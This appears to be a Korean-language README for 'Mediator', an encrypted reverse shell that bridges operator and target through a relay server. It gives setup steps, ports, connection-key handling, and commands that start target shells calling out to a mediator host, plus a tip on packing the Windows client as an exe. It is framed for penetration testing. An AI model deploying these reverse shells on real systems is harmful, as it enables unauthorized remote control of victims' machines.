
확장 가능하고 종단 간 암호화된 리버스 셸로, 포트 포워딩 없이 네트워크를 넘어 작동합니다.
Mediator는 운영자와 셸이 "중개자(mediator)" 서버에 연결되어 연결을 브리징하는 종단간 암호화 리버스 셸입니다. 이를 통해 운영자/핸들러가 연결을 수신하기 위해 포트 포워딩을 설정할 필요가 없어집니다. 또한 Mediator는 플러그인을 생성하여 리버스 셸의 기능을 확장할 수 있습니다.
Mediator의 스크립트는 독립 실행형으로 실행하거나 다른 침투 테스트 및 사고 대응 도구에 통합하기 위해 임포트할 수 있습니다.
종단간 암호화 채팅 애플리케이션에서 영감을 받은 Mediator는 리버스 셸의 클라이언트/서버 모델에 독특한 접근 방식을 사용합니다. Mediator는 다음을 사용합니다:
리버스 셸과 핸들러는 연결 키와 함께 Mediator 서버에 연결합니다. 서버는 핸들러 연결을 위해 포트 80, 리버스 셸 연결을 위해 포트 443에서 수신 대기합니다. 클라이언트가 중개자에 연결하면 서버는 각각의 유형과 연결 키에 따라 클라이언트를 대기열에 넣습니다. 동일한 키로 리버스 셸과 운영자가 모두 서버에 연결되면 서버는 두 연결을 브리징합니다. 그런 다음 두 클라이언트 간에 키 교환이 이루어지며, 리버스 셸과 운영자 간의 모든 통신은 종단간 암호화됩니다. 이를 통해 서버가 파이핑하는 스트림을 엿들을 수 없습니다.
플러그인을 사용하면 운영자 호스트, 대상 호스트 또는 둘 다에서 코드를 실행할 수 있는 추가 명령을 추가할 수 있습니다! 플러그인에 대한 자세한 내용은 plugins 디렉토리의 README를 참조하세요.
클라이언트 스크립트는 Windows 또는 Linux에서 실행할 수 있지만, 서버(mediator.py)는 Linux 호스트에 구축해야 합니다. 서버는 순수 Python이므로 추가 종속성을 설치할 필요가 없습니다. 다음 명령으로 서버 스크립트를 실행하거나
$ python3 mediator.py
제공된 Dockerfile로 Docker 이미지를 빌드하여 컨테이너에서 실행할 수 있습니다(포트 80과 443을 게시해야 함).
클라이언트가 작동하려면 requirements.txt에 있는 종속성을 설치해야 합니다. 다음 명령으로 설치할 수 있습니다:
$ pip3 install -r requirements.txt
클라이언트를 배포할 때 종속성에 대한 걱정 없이 사용할 수 있도록 아래의 팁 및 주의사항을 참조하세요.
핸들러와 리버스 셸은 다른 Python 스크립트 내에서 사용하거나 명령줄에서 직접 사용할 수 있습니다. 두 경우 모두 클라이언트는 서버 주소와 연결 키에 대한 인수를 받을 수 있습니다. 이러한 인수의 사용법은 아래에 설명되어 있습니다.
Mediator 서버 주소
Python 스크립트 사용의 경우, 인스턴스화 시 중개자 호스트 주소가 필요합니다:
Handler 클래스
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()
WindowsRShell 클래스
from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()
클라이언트 스크립트를 셸에서 직접 실행하는 경우, 스크립트 하단에 주소를 하드코딩하거나 -s 또는 --server 플래그로 서버 주소를 인수로 지정할 수 있습니다:
handler.py
$ python3 handler.py -s example.com
windowsTarget.py
> python windowsTarget.py -s example.com
연결 키
두 개의 핸들러 또는 두 개의 리버스 셸이 동일한 연결 키로 Mediator 서버에 연결되면, 첫 번째 연결만 대기열에 들어가 매칭을 기다립니다. 대기열에 있는 연결이 타임아웃(30초)되거나 상대 연결과 매칭될 때까지, 동일한 연결 키로 연결을 시도하는 동일한 유형의 다른 모든 클라이언트는 삭제됩니다.
각 핸들러가 고유한 연결 키를 사용하도록 하는 것이 중요합니다. 그렇지 않으면 경합 조건이 발생하여 잘못된 셸이 운영자에게 전달될 수 있습니다.
서버는 "#!ConnectionKey_" 접두사가 있는 키만 허용합니다. 기본 연결 키는 "#!ConnectionKey_CHANGE_ME!!!"입니다.
Python 스크립트 사용을 위해 연결 키를 변경하려면, 인스턴스화 시 선택적으로 연결 키를 제공할 수 있습니다:
Handler 클래스
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()
LinuxRShell 클래스
from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()
클라이언트 스크립트를 셸에서 직접 실행하는 경우, 스크립트 하단에 연결 키를 하드코딩하거나 -c 또는 --connection-key 플래그로 연결 키를 인수로 지정할 수 있습니다:
handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'
windowsTarget.py
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
--onefile 플래그를 사용하여 windowsTarget.py의 exe 파일을 쉽게 생성할 수 있습니다.